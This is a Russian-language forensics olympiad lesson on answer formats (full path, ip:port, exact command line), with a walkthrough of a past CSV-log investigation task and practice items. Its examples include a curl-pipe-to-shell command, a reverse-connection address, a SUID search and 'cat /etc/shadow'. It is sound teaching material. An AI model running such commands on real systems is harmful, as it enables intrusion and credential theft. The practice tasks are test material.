Урок 1. Как читать условие и не терять баллы
Определяем, что именно требуется найти и в каком виде сдавать ответ.
В задачах по расследованию редко проигрывают из-за того, что не знают ещё одну команду. Гораздо чаще ученик находит правильный фрагмент данных, но отвечает не на тот вопрос: сдаёт имя вместо полного пути, IP без порта, описание команды вместо её точной строки или время подозрительного запроса вместо времени успешного действия.
Поэтому работа начинается не с терминала. Длинное условие сначала раскладывается на требуемый объект, условия отбора и формат ответа.
Представьте фрагмент условия:
Укажите полный путь к первому файлу, который был успешно прочитан пользователем
backupпосле входа с внешнего адреса. Ответ дайте с учётом регистра.
В одном предложении уже зафиксированы пять ограничений:
- требуется путь, а не содержимое файла и не его хеш;
- путь должен быть полным, поэтому
secret.txtнедостаточно; - нужен первый подходящий объект по времени;
- доступ должен быть успешным, а не только запрошенным;
- событие должно произойти после конкретного входа и относиться к пользователю
backup.
Если потерять хотя бы одно слово, можно провести аккуратное расследование и всё равно получить неверный ответ.
Карточка требования
Для каждого пункта задачи достаточно зафиксировать четыре характеристики.
| Часть | Что фиксируется | Пример |
|---|---|---|
| Объект | Сущность, которую требуется назвать | файл, пользователь, запрос, команда, хеш |
| Условие отбора | Признаки подходящего объекта | первый, успешный, внешний, после входа |
| Формат | Требуемый вид ответа | полный путь, host:port, METHOD /path, время ISO 8601 |
| Достаточность | Событие, которое должно быть подтверждено | не попытка, а успешное чтение |
Это занимает меньше минуты, но резко сокращает количество бесполезных действий.
Слово «полный» почти всегда меняет автоматическую проверку ответа. Если спрашивают полный путь, /srv/backup/keys.txt и keys.txt — разные ответы. Слово «с расширением» отличает report.docx от report. Слово «команда» обычно означает всю строку запуска: программу, аргументы, кавычки и пути.
Основные типы ответов на ВСОШ
Имя файла и полный путь
Имя файла — последняя часть пути:
/opt/cache/update.sh → update.sh
Если вопрос просит имя, ответ /opt/cache/update.sh может быть не принят. Если просит полный путь, update.sh недостаточно даже при правильном понимании события.
Сетевой адрес
Вопросы различают:
- IP:
198.51.100.24; - порт:
4444; - адрес вместе с портом:
198.51.100.24:4444; - URL:
https://updates.example.invalid/payload; - HTTP path:
/api/v1/export.
Не дополняйте ответ тем, чего не просили. Если нужен host:port, URL с протоколом и путём — уже другой объект.
HTTP-запрос
Формат METHOD /path означает, например:
POST /api/report
Параметры после знака ? включаются только тогда, когда это прямо сказано. Имя сервера, версия HTTP и код ответа тоже не добавляются «для полноты» без требования.
Команда
Рассмотрим CSV-поле:
/bin/sh -c "curl -fsS http://203.0.113.17/a | sh"
Ответ «запустили curl» объясняет смысл, но не является командной строкой. Ответ curl -fsS ... тоже может быть неполным: в журнале зафиксирован запуск /bin/sh -c, и именно он мог требоваться вопросом.
Контрольная сумма
Контрольная сумма помогает проверить, что два файла состоят из одинаковых байтов. У неё всегда есть алгоритм и конкретный файл:
- SHA-256 скачанного ZIP;
- SHA-256 JAR внутри ZIP;
- SHA-256 класса внутри JAR;
- SHA-256 восстановленного файла.
Строка из 64 шестнадцатеричных символов сама по себе ничего не говорит о том, для какого файла она посчитана. Поэтому в заметке всегда пишите рядом имя файла.
yes/no и объяснение
Вопрос «получил ли атакующий root?» не равен вопросу «пытался ли он выполнить sudo?». Для yes нужен признак успешного эффекта; для no — достаточное покрытие источников, чтобы отрицательный вывод был обоснован. Подробно это разберём в следующем уроке.
Карта вопросов
Многочастную задачу удобно превратить в таблицу до поиска ответов.
| № | Что спрашивают | Тип ответа | Вероятный источник | Якорь | Достаточно, если… |
|---|---|---|---|---|---|
| 1 | внешний запрос | METHOD /path |
журнал web-доступа | исходный IP, ID запроса | запрос связан с событием процесса |
| 2 | команда | точная команда | журнал процессов | ID запроса, PID | есть успешное создание процесса |
| 3 | новый пользователь | имя пользователя | журнал входов | время, исходный IP | вход имеет result=success |
| 4 | прочитанный файл | полный путь | журнал доступа к файлам | пользователь, ID сессии | операция read успешна |
Таблица не угадывает ответы. Она только задаёт порядок работы. Например, номер запроса из первого вопроса может привести к номеру процесса, процесс — к пользователю, а пользователь — к журналу доступа к файлам.
Дешёвая первая проверка
Первую проверку удобно сделать по заголовку таблицы и нескольким первым строкам:
head -n 3 demo_process.csv
wc -l demo_process.csv
Если вопрос просит командную строку, файл с полями pid,parent_pid,command_line,result перспективнее auth.log. Это решение принимается по структуре колонок, а не по количеству «подозрительных» слов.
После выбора источника можно сделать точечный поиск:
grep -n 'D-017' demo_process.csv
Номер строки полезно записать рядом с ответом: так вы сможете быстро вернуться к доказательству. CSV-файл также удобно открыть в Visual Studio Code: расширение CSV Table уже установлено на олимпиадной Kali и показывает данные в виде таблицы.
Разбор короткого примера
Пусть вопрос звучит так:
Какую полную команду выполнил demo-процесс
D-017? Сдайте значение поляcommand_lineбез внешних CSV-кавычек.
Порядок решения:
- Тип ответа — точная командная строка.
- Ориентир для поиска — номер процесса
D-017. - Нужный файл —
demo_process.csv, потому что в нём есть столбецcommand_line. - Проверка — найти запись
D-017и убедиться, что это одна строка события, а не упоминание в описании. - Убрать только служебные внешние кавычки CSV. Кавычки внутри команды оставить.
Ошибочный маршрут — искать D-017 сразу во всех файлах и копировать первый фрагмент рядом. Такой поиск может привести к записи другого журнала, где команда сокращена или экранирована иначе. Demo-имена и ID не совпадают с самостоятельным набором.
Реальная задача ВСОШ
«Деревенский сыщик» · региональный этап 2025–2026 · 9 класс
Формат: CSV-журнал Elastic Agent и пять точных ответов; на каждый вопрос давалось не более трёх попыток.
Проверяемый навык: разделить серию на пять отдельных вопросов и связать документ, сетевое соединение, процессы и команды.
Открыть исходное условие и авторское решение
Подробный разбор реальной задачи ВСОШ: «Деревенский сыщик»
Участник получал CSV-журналы Elastic Agent и отвечал без оболочки vsosh{}. У вопросов были разные форматы, поэтому один найденный подозрительный адрес нельзя было механически подставить во всю серию.
1. Вредоносный документ
Требовалось имя файла с расширением. Авторский разбор предлагает сначала выделить необычное исходящее соединение, затем сопоставить PID и родительский PID процессов. Цепочка приводит к открытию документа resume_somina_olga.odt, после которого возникает обратное соединение.
Точный ответ:
resume_somina_olga.odt
Достаточное доказательство в исходном CSV должно связывать событие открытия этого файла с дочерним процессом или сетевым событием. Одно совпадение по расширению .odt недостаточно.
2. Адрес обратного соединения
В сетевых событиях разбор выделяет исходящее соединение на 92.255.109.123 и порт 9001. Контракт требует ровно формат ip:port:
92.255.109.123:9001
IP без порта и URL с протоколом были бы ответами другого типа. Само соединение подтверждает сетевой факт; связь с предыдущим пунктом требует совпадения времени и процесса.
3. Файл повышения привилегий
По дальнейшей цепочке команд найден исполняемый файл /tmp/security-check, использованный для получения повышенных прав. Здесь нужен полный путь:
/tmp/security-check
Ответ security-check потерял бы каталог и не выполнил контракт.
4. Команда поиска SUID-файлов
Перед запуском найденного бинарника выполнялся поиск файлов с битом SUID:
find / -perm -4000 2>/dev/null
Авторское решение отдельно отмечает, что вариант без перенаправления 2>/dev/null также принимался. Это оговорка конкретной проверки; в другой задаче следует сдавать ровно ту командную строку, которую просит условие.
5. Получение хешей пользователей
После повышения прав в журнале присутствует чтение /etc/shadow:
cat /etc/shadow
Эта команда отвечает на вопрос о способе получения хешей паролей. Формулировка «прочитал shadow» объясняет смысл, но не заменяет точную команду.
Как оформить доказательства
Авторский DOCX показывает фильтрацию таблицы и связи PID/parent PID, но не публикует стабильные идентификаторы всех строк. Поэтому значения ответов выше можно проверить по решению, а указатели доказательств нельзя выдумывать. При работе с оригинальным CSV для каждого пункта нужно записать имя файла журнала и стабильный event ID либо номер строки, время, PID/parent PID и релевантное поле.
Главный вывод: в многочастной серии имя документа, адрес с портом, полный путь и две команды — это пять разных ответов. На каждый из них нужно отдельное подтверждение.
Практика урока
Скачайте l1_casebook.zip. Сначала прочитайте questions.md, затем посмотрите только первые строки каждого источника.
- C1 проверяет, можете ли вы назвать тип ответа по формулировке.
- C2 проверяет выбор первого источника до поиска значения.
- C3 требует извлечь точную строку запуска без потери аргументов.
Три задачи специально разделяют чтение условия, выбор источника и извлечение значения. Если выполнить только последний шаг, легко получить технически верные данные в неправильном виде. Точный ответ начинается ещё до поиска: с понимания объекта и формата.
Во втором уроке внимание сместится с формы ответа на его обоснованность. Подозрительная строка может подходить по формату и всё равно не доказывать событие.
C1. Контракт ответа
Откройте questions.md из набора урока. Какой тип ответа требует формулировка «укажите полный путь»? Выберите токен: basename, absolute-path, host-port или command-line.
C2. Первый источник
Какой файл набора нужно проверить первым, чтобы получить полную строку запуска процесса P-104? Сдайте точное имя файла.
C3. Ответ без лишнего
Найдите событие P-104 и сдайте точное значение command_line: путь к программе и все аргументы, без пересказа.